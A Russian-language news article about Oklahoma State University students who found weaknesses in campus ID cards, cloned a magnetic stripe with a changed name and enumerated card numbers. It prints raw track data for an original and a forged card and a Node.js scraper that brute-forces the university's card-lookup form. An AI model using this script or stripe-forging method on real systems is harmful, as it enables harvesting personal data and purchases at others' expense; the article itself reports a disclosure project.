Cтудент Сэм Шеллинг (Sam Shelling) поступил на курс информационной безопасности университета Оклахомы в 2013 году. Двумя годами спустя он определился, какой проект хочет сделать для выпускного экзамена. Вместе с однокурсниками они нашли несколько уязвимостей в студенческих картах ID. Это привело их к мысли эксплуатировать найденные баги.

По внешнему виду студенческие ID напоминают банковские карточки: они такого же размера, здесь есть магнитная полоса и 16-значный идентификационный номер. По карточке осуществляется доступ в разные помещения общежития, к онлайновым службам и т.д.

Студенты изучили примерно 100 карт. Выяснилось, что все номера начинаются с одних и тех же восьми цифр. Анализ также показал, что есть всего три варианта следующих двух цифр: 05, 06 или 11. Таким образом, максимальное количество уникальных номеров составляет 3 миллиона.

На оборотной стороне каждой карты отпечатан URL для справочного сайта. Там в форме можно ввести номер карты — и получить ответ, валидная она или нет, и кому принадлежит (сотрудник, студент), есть ли специальные отметки для этой карты. Сайт не ограничивает пользователей в числе отправляемых запросов и справляется с 3-5 запросами в секунду.

003

004

005

Увлечённые исследованием, студенты купили устройство для считывания и записи данных на магнитную полосу. Они декодировали информацию оттуда и выяснили ещё несколько фактов. У всех карт один и тот же срок действия. На полосе закодировано имя пользователя, и с помощью устройства удалось записать копию ID с изменённым именем владельца на магнитной полосе.

Запись на оригинальной магнитной карте

%B6038380006514029^SNELLING/SAMUEL R      ^491212000000000    000   ?;6038380006514029=49121200000000000000? 

Дубликат с изменённым именем

%B6038380006514029^PETE/PISTOL           ^491212000000000    000 ?;6038380006514029=49121200000000000000? 

Эксперимент показал, что с помощью такой карты можно совершать покупки в студенческом магазине.

На последнем этапе эксперимента студенты написали js-скрапер, чтобы скачать всю информацию из онлайновой базы данных по картам. Скрипт заполняет форму номерами карт в случайной последовательности и сохраняет результат. Проверка трёх миллионов карт заняла около двух суток.

Скрипт

var cheerio = require('cheerio'), 
request = require('request'), 
fs = require('fs'), 
headnumber = '06';

for (var i=1; i <= 100; i += 1){
    var tailnumber = '';
    while (tailnumber.length < 6) 
    tailnumber = tailnumber + '' + [0,1,2,3,4,5,6,7,8,9][Math.floor(Math.random()*9)];
    request.post('https://app.it.okstate.edu/idcard/index.php/module/Default/action/IDCardEntry', {form:{card_id:'60383800'+headnumber+tailnumber}}, function (error, response, html) {
        if (!error && response.statusCode == 200) {
            var $ = ch3eerio.load(html);
            $('td.formText').each(function() {
                var text = $(this).next().text();
                fs.appendFile('osu_ids.txt', text+';', function(err){});
            });
            fs.appendFile('osu_ids.txt', '\r\n', function(err){});
        }
    }); 
}

Студенты показали, что полученную с сервера информацию можно использовать для изготовления дубликатов карт и совершения покупок за чужой счёт.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    8 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии